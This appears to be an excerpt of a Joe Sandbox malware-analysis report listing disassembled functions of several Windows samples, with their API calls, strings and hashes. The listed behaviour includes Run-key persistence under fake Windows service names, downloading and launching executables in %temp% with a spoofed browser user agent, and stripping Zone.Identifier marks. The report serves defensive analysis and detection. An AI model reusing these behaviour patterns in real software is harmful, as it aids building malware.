Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 3a256af2c019b276b8838bcc1186c61ecce618c98c01d702573358750c80b1c1
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 00407390 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,004083D7), ref: 00407398
SysAllocString.OLEAUT32(004161D0), ref: 004073A3
CoUninitialize.OLE32 ref: 004073C8

Part of subcall function 004073E0: SysFreeString.OLEAUT32(00000000), ref: 004075F8

SysFreeString.OLEAUT32(00000000), ref: 004073C2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction ID: 94d3ecd3e534f0c2973a063d63be5db40503c7f445082467247c405133df6831
Opcode Fuzzy Hash: d549018ca7281a3a12c42c42db4c5aa0698fc19bb076c2a4b3e2f7f0a4b3168e
Instruction Fuzzy Hash: FEE01275944208FBD7049FA0ED0EB9D77649B04341F1041A5FD05A22A1DAF56E80D755

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: 803bccba2cddfb0e8a4aae8b96d6d08667bbe6654a4f0d67ac19fa841d2eca73
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: 20876e0eb685dac13c64e0264db20ecd2e25c5e2071ea80cc012e61abc239ccc
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

TCP, xrefs: 0040E13B
UDP, xrefs: 0040E158

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 0040DCD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
CloseHandle.KERNEL32(?), ref: 0040DD29

Strings

.#v, xrefs: 0040DD29

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .#v
API String ID: 528846559-507759092
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: afdab107b7ea46b491ba3f785a3108c34962e981a5b403661ae60ceb940f9cda
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 6F11C974A04208EFDB14CF84C580B59B7B6FF49314F2081AAEC06AB381C775EE42DB95

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 6f0f4f80585b29744b6880eeb75b2d3a88a0070be33d566f9884971b99258328
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Analysis Process: 1881231804.exePID: 3180, Parent PID: 1588COMMON

Execution Graph

Execution Coverage:	22.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFD34780F11 Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FFD34780FD1

Memory Dump Source

Source File: 00000013.00000002.2608095196.00007FFD34780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd34780000_1881231804.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: f1b3f1ef9c2b2f814db49f1918cfcc124dc12fb0526d07b879c0f52f5e0fc590
Instruction ID: 3baa2727cb223fb682e387481429bbbaaee63f2a9082a24f8236fac982c3d3f8
Opcode Fuzzy Hash: f1b3f1ef9c2b2f814db49f1918cfcc124dc12fb0526d07b879c0f52f5e0fc590
Instruction Fuzzy Hash: C931C530A0CB489FDB18DF98D8856F9BBF1EB56311F04426FD049D3652CB656856CB81

Analysis Process: 2314627202.exePID: 5792, Parent PID: 1588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 008710A0 Relevance: 36.8, APIs: 8, Strings: 13, Instructions: 78
registrysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 008710AB

Part of subcall function 00871000: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0087101A
Part of subcall function 00871000: wsprintfW.USER32 ref: 00871033
Part of subcall function 00871000: PathFileExistsW.KERNELBASE(?), ref: 00871043

RegOpenKeyExW.KERNELBASE(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,?), ref: 00871123
RegDeleteValueW.KERNELBASE(?,Microsoft Windows Service), ref: 00871151
RegCloseKey.KERNELBASE(?), ref: 0087115D
Sleep.KERNELBASE(000007D0), ref: 00871168
RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,?), ref: 00871183
RegDeleteValueW.KERNELBASE(?,Microsoft Windows Service), ref: 008711B1
RegCloseKey.KERNELBASE(?), ref: 008711BD

Strings

Windows Update 4950505060, xrefs: 008710E2
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00871119
Microsoft Windows Driver, xrefs: 008710C6
Host Process for Windows Services, xrefs: 008710CD
Windows Update 75849348, xrefs: 008710D4
Microsoft Windows Service, xrefs: 008710B1, 0087114C, 008711AC
Microsoft Windows Update Service, xrefs: 008710BF
Windows Operating System, xrefs: 008710F7
Windows Upgrade Manager, xrefs: 008710F0
Windows Update 46363463464, xrefs: 008710DB
Microsoft Windows Services, xrefs: 008710B8
Windows Upgrade 40885040, xrefs: 008710E9
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00871179

Memory Dump Source

Source File: 0000001A.00000002.2688470052.0000000000871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00870000, based on PE: true

Associated: 0000001A.00000002.2688453395.0000000000870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688495172.0000000000873000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688507252.0000000000874000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688538686.0000000000875000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_870000_2314627202.jbxd

Similarity

API ID: CloseDeleteOpenSleepValue$EnvironmentExistsExpandFilePathStringswsprintf
String ID: Host Process for Windows Services$Microsoft Windows Driver$Microsoft Windows Service$Microsoft Windows Services$Microsoft Windows Update Service$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Windows Operating System$Windows Update 46363463464$Windows Update 4950505060$Windows Update 75849348$Windows Upgrade 40885040$Windows Upgrade Manager
API String ID: 2575504554-1382139348
Opcode ID: c65f902f934c83052143c3865d32c0c7647140f5d8f91edb7961659dbe7443d8
Instruction ID: fc8a28247a7801a0182103022d19148380bda9d21c504338a86d7f103b5c75c8
Opcode Fuzzy Hash: c65f902f934c83052143c3865d32c0c7647140f5d8f91edb7961659dbe7443d8
Instruction Fuzzy Hash: 94310570A11218ABDF14DFD8ED8CAADBBB5FB04319F508008F619AA249D7B4D588DB64

Function 00871000 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0087101A
wsprintfW.USER32 ref: 00871033
PathFileExistsW.KERNELBASE(?), ref: 00871043
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00871069
CloseHandle.KERNELBASE(000000FF), ref: 00871085

Strings

%temp%, xrefs: 00871015
@1#v.#v, xrefs: 00871069
%s\dd55ddff6fd.txt, xrefs: 00871027

Memory Dump Source

Source File: 0000001A.00000002.2688470052.0000000000871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00870000, based on PE: true

Associated: 0000001A.00000002.2688453395.0000000000870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688495172.0000000000873000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688507252.0000000000874000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001A.00000002.2688538686.0000000000875000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_870000_2314627202.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\dd55ddff6fd.txt$%temp%$@1#v.#v
API String ID: 750032643-2014613978
Opcode ID: 83aa69ef25aec3abbd699558a5a011d4588db81225a1402c3bb11f7578dba58c
Instruction ID: 4b7b48895c96407170c86acd4f52b9001bd2e745ec92eff89ecf25286bcab801
Opcode Fuzzy Hash: 83aa69ef25aec3abbd699558a5a011d4588db81225a1402c3bb11f7578dba58c
Instruction Fuzzy Hash: BF014FB4940718ABDB209B609C4EFE67378FB44704F008694A62DA61D6DAB0DAC5CFB5

Analysis Process: 1091722296.exePID: 5112, Parent PID: 1588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006010B0 Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 183
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 006010B9
srand.MSVCR90 ref: 006010C0
DeleteUrlCacheEntryW.WININET(?), ref: 006010CC
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006010EA
rand.MSVCR90 ref: 006010F0
rand.MSVCR90 ref: 00601104
wsprintfW.USER32 ref: 0060112B
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00601141
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0060116D
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0060119C
InternetReadFile.WININET(00000000,?,00000103,?), ref: 006011CF
WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000), ref: 00601200
CloseHandle.KERNEL32(000000FF), ref: 0060120F
wsprintfW.USER32 ref: 00601228
DeleteFileW.KERNELBASE(?), ref: 00601238
CloseHandle.KERNEL32(000000FF), ref: 00601263
InternetCloseHandle.WININET(00000000), ref: 00601270
InternetCloseHandle.WININET(00000000), ref: 0060127D
Sleep.KERNELBASE(000001F4), ref: 00601288
rand.MSVCR90 ref: 0060129D
Sleep.KERNEL32 ref: 006012B4
rand.MSVCR90 ref: 006012BA
rand.MSVCR90 ref: 006012CE
wsprintfW.USER32 ref: 006012F5
DeleteUrlCacheEntryW.WININET(?), ref: 00601302
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 00601319
wsprintfW.USER32 ref: 00601335
DeleteFileW.KERNEL32(?), ref: 00601345

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36, xrefs: 0060113C
%s\%d%d.exe, xrefs: 006012E9
%s\%d%d.exe, xrefs: 0060111F
%temp%, xrefs: 006010E5
%s:Zone.Identifier, xrefs: 0060121C
%s:Zone.Identifier, xrefs: 00601329

Memory Dump Source

Source File: 0000001B.00000002.2811489947.0000000000601000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00600000, based on PE: true

Associated: 0000001B.00000002.2811282068.0000000000600000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811541210.0000000000604000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_600000_1091722296.jbxd

Similarity

API ID: File$Internetrand$CloseDeleteHandlewsprintf$CacheEntryOpenSleep$CountCreateDownloadEnvironmentExpandReadStringsTickWritesrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
API String ID: 3548267932-1161929716
Opcode ID: 3748b016520c6066b6d911f41a8a4837a1e3d5c8fae42f197566fc163cf47010
Instruction ID: 8b64483210778f26279b9ea21b2f583aaab9654ac928e8c07aa5908f0be71262
Opcode Fuzzy Hash: 3748b016520c6066b6d911f41a8a4837a1e3d5c8fae42f197566fc163cf47010
Instruction Fuzzy Hash: 676195B5980319ABDB28DB60DC5DFEB737BAF48701F044498F60A961D0DA746B84CF64

Function 00601000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 0060100E
memset.MSVCR90 ref: 0060101E
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00601057
Sleep.KERNELBASE(000003E8), ref: 00601067
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00601082
Sleep.KERNEL32(000003E8), ref: 0060109C

Strings

open, xrefs: 0060107B
D, xrefs: 00601026
, xrefs: 00601091

Memory Dump Source

Source File: 0000001B.00000002.2811489947.0000000000601000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00600000, based on PE: true

Associated: 0000001B.00000002.2811282068.0000000000600000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811541210.0000000000604000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_600000_1091722296.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 8d7d148888b1003d588b147763ecf7f74e71d24650457c066a66314622396d89
Instruction ID: fc5c07d80c63e55ce9f2152ce45ae8a6b66d281ea24b46ca26101cd79a1510af
Opcode Fuzzy Hash: 8d7d148888b1003d588b147763ecf7f74e71d24650457c066a66314622396d89
Instruction Fuzzy Hash: D1114F71EC0308BBEB14DB90CD5AFEE777AAB15B01F200115FA096E2C0DAB15A44CB65

Function 006013C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006013DA
wsprintfW.USER32 ref: 006013F3
PathFileExistsW.KERNELBASE(?), ref: 00601403
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 00601429
CloseHandle.KERNELBASE(000000FF), ref: 00601445

Strings

%temp%, xrefs: 006013D5
%s\roapalr.jpg, xrefs: 006013E7

Memory Dump Source

Source File: 0000001B.00000002.2811489947.0000000000601000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00600000, based on PE: true

Associated: 0000001B.00000002.2811282068.0000000000600000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811541210.0000000000604000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_600000_1091722296.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\roapalr.jpg$%temp%
API String ID: 750032643-1357684243
Opcode ID: 9a6111c2169b7572f110953498e420622ce2091e2d54e140ff69dcf37be730dd
Instruction ID: 0ad250f8254ea0f1824bc9e5b411cf0d6e59b68b0ccd4e3b8c2fbc5c76e3ef16
Opcode Fuzzy Hash: 9a6111c2169b7572f110953498e420622ce2091e2d54e140ff69dcf37be730dd
Instruction Fuzzy Hash: 4C01D4B098030DABDB24CB609C4DFE7333AAF00704F0086A4A61AA60D1D6B05AC5CFA5

Function 00601360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 0060137A
wsprintfW.USER32 ref: 00601393
PathFileExistsW.KERNELBASE(?), ref: 006013A3

Strings

%s\Program Files (x86), xrefs: 00601387
%systemdrive%, xrefs: 00601375

Memory Dump Source

Source File: 0000001B.00000002.2811489947.0000000000601000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00600000, based on PE: true

Associated: 0000001B.00000002.2811282068.0000000000600000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811517821.0000000000602000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001B.00000002.2811541210.0000000000604000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_600000_1091722296.jbxd

Similarity

API ID: EnvironmentExistsExpandFilePathStringswsprintf
String ID: %s\Program Files (x86)$%systemdrive%
API String ID: 3337111443-1963301939
Opcode ID: c86e2170b6c3a2045941132fa4661d343198f1ba7cefb3bb435139ad838c1e02
Instruction ID: b1595cc649b428d758b701e7e0e3095de4371a047fa8d52e5c5277cb47d15e9f
Opcode Fuzzy Hash: c86e2170b6c3a2045941132fa4661d343198f1ba7cefb3bb435139ad838c1e02
Instruction Fuzzy Hash: 98E0E5B058030E5BCB14DBA0AC5DAE7332AAF01704F004694AA1981190F6B096C8DBA1

Function 00601460 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 18
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00601468

Part of subcall function 00601360: ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000104), ref: 0060137A
Part of subcall function 00601360: wsprintfW.USER32 ref: 00601393
Part of subcall function 00601360: PathFileExistsW.KERNELBASE(?), ref: 006013A3

Part of subcall function 006013C0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006013DA
Part of subcall function 006013C0: wsprintfW.USER32 ref: 006013F3
Part of subcall function 006013C0: PathFileExistsW.KERNELBASE(?), ref: 00601403

Part of subcall function 006010B0: GetTickCount.KERNEL32 ref: 006010B9
Part of subcall function 006010B0: srand.MSVCR90 ref: 006010C0
Part of subcall function 006010B0: DeleteUrlCacheEntryW.WININET(?), ref: 006010CC
Part of subcall function 006010B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 006010EA
Part of subcall function 006010B0: rand.MSVCR90 ref: 006010F0
Part of subcall function 006010B0: rand.MSVCR90 ref: 00601104
